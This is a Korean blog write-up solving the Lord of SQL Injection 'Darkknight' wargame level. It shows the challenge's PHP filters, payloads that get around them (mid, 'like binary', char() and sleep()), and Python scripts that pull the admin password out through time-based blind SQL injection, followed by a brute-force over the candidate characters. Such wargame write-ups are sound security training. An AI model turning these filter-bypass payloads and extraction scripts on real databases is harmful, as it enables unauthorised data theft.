Darkknight Write-up

Ccr3t·2025년 8월 2일
0

Wargame

목록 보기
35/55

[Solved in under 2 hours 7 minutes]

진짜 만약에 내가 LoS 문제 다 풀면 나 SQL Injection 빡고수 될 수 있나?
에~라 모르겠다~~ 맨땅에 헤딩만 조져보자~

가보자

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

진짜 필터링 코드 잘 봐라.
제대로 안보고 삽질하다 2시간 날라갔다.

일단 코드를 요약하자면 위에 쿼리는 id='guest' 고정에 인자는 pw, no 두개를 받고 아래 쿼리는 id='admin' 고정이다.

pw 의 필터링은 싱글쿼터 하나만 걸리고
no 의 필터링은 싱글쿼터, substr, ascii, = etc.. 가 주요 필터링이다.

그리고 마지막에서 두번째 줄 $result['pw']) && ($result['pw'] == $_GET['pw'] 구문 때문에 pw값이 정말 들어있으며 그 값이 DB의 pw값과 같은지 보기 때문에 진짜 pw값을 알아내야 한다.

일단 sleep() 함수가 먹히는지 보자

?pw=1&no=1 or sleep(3) %23

잘 먹힌다.

처음에 pw쪽을 냅다 건들여봤는데 포기하고 뒤에걸 건들였다. 구문을 잘보면 no={$_GET[no]} 로 싱글쿼터가 없기때문에 해줄 필요가 없다.

이거를 가지고 변형해서 페이로드를 한번 생각해보자

일단은 간단하게 생각해보자.

1&no=1 or substr(1,pw,1)='0~Z' and sleep(3) # 이니
필터링을 우회하면?

SQL Injection filter bypass

1&no=1 or (mid(pw,i,1) like binary "0~Z" and sleep(3)) #
가 된다

그리고 pw값은 굳이 안 넣어줘도 되는데 이해를 돕기위해서 넣은것이고
뒤야 #은 주석처리하는데 넣을 필요가 없다 습관이다.

바로 코드로 넣어보자

import requests
import time

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookie = {'PHPSESSID': '2muvd8j8ma8a1pskahcsptdrcq'}

charset = '0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLNMOPQRSTUVWXYZ'
pw_len_result = ''
result_all = ''

print("PW 길이 찾기 요이땅!")

for pw_len in range(1, 33):
    len_payload = f"1 or if(length(pw) in ({pw_len}), sleep(3), 0) #"
    
    len_start = time.time()
    len_response = requests.get(url, params={'no': len_payload}, cookies=cookie)
    len_found_time = time.time() - len_start
    
    if len_found_time > 2:
        pw_len_result = pw_len
        print(f"PW 길이 : {pw_len}")
        break

print("PW 값 찾기 요이땅!")

if pw_len_result:
    for i in range(1, pw_len_result + 1):
        result = []
        for char in charset:
            payload = f"1 or (mid(pw,{i},1) like binary char({ord(char)}) and sleep(3)) #"
            
            start = time.time()
            response = requests.get(url, params={'no': payload}, cookies=cookie)
            found_time = time.time() - start

            if found_time > 2:
                result += char
                print(f"PW 값 {i}번째 : {char}")
        
        if len(result) == 1:   
            result_all += result[0]
        elif len(result) > 1:
            result_all += f"[{''.join(result)}]"
        else:
            print("다시 돌려라.")
        
else:
    print("PW 길이 못 찾았다. 다시 돌려라.")
    
print(f"PW 값 {pw_len_result}자리  : {result_all}")

저번에 만든 코드를 또 응용해서 사용한다.

너무 편하다 정말 뽀뽀 해주고 싶다 흐하하ㅏ하하

코드 요약하면 length(pw) 를 통해서 pw길이를 알아낸 다음 그 길이만큼 charset에 들어있는 0~Z 까지 문자열을 삽입한다.

대신 이번에는 싱글쿼터가 필터링이 걸려 있어 사용하지 못하니 char(ord(char))를 통해
1. ord(char) = a -> 97
2. char(ord(char)) = a -> 97 -> 'a'

이렇게 되어 들어간다 사실 이렇게 안하고 그냥 charset에 ascii값 넣어도 되는데 웬만해서 charset은 건들기 너무 귀찮아 한번더 계산하게 만들었다 ㅋㅎㅋㅎ

이렇게 돌려보니

import requests
import itertools
import re

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = {'PHPSESSID': '2muvd8j8ma8a1pskahcsptdrcq'}

user_input = "[0d][bf][7j][0i][ae][as][1j]f"

tokens = re.findall(r'\[([^\[\]]+)\]|([^\[\]])', user_input)

char_sets = [list(t[0]) if t[0] else [t[1]] for t in tokens]

combinations = itertools.product(*char_sets)

for combo in combinations:
    pw = ''.join(combo)
    res = requests.get(url, params={'pw': pw}, cookies=cookies)

    if "clear" in res.text.lower():
        print(f"[+] Found: {pw}")
        break

개넘의 자식 또 한 인덱스에 두개씩 뜬다 ㅜㅜㅠㅠㅠㅠㅠ

저번에 코드를 가져와서 하니 인덱스의 값이 맨뒤에 하나밖에 없는 f 처럼 있으면 작동이 되지 않아 다시 GPT 형님한테 부탁했다 하하,, 이건 머리 안써도 합법이잖아?

여하튼

이거를 삽입하면~?

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

?pw=0b70ea1f

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

와 ㅋㅋㅋ 이 녀석 전 문제랑 비슷하다고 느껴서 너무 대충 했더니 strstring 계속 쓰고 있었다.. 전 문제 처럼 substr( << 대충보고 이게 필터링인줄 알고 계속 했는데 왜 안되지 뭐가 문제지 싶어서 정독하다가 발견했다 하 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 발견하고 코드 조금 수정하고 10분만에 바로 풀었다 하 ㅜ

항상 겸손하게 낮은자세로 코드를 똑바로 보자......

LoS(Lord of SQL Injection) Darkknight Write-up

이상 보고 끝!

profile
웹해킹을 잘 못 하지만 좋아 하려고 노력하는 한 젊은이.

0개의 댓글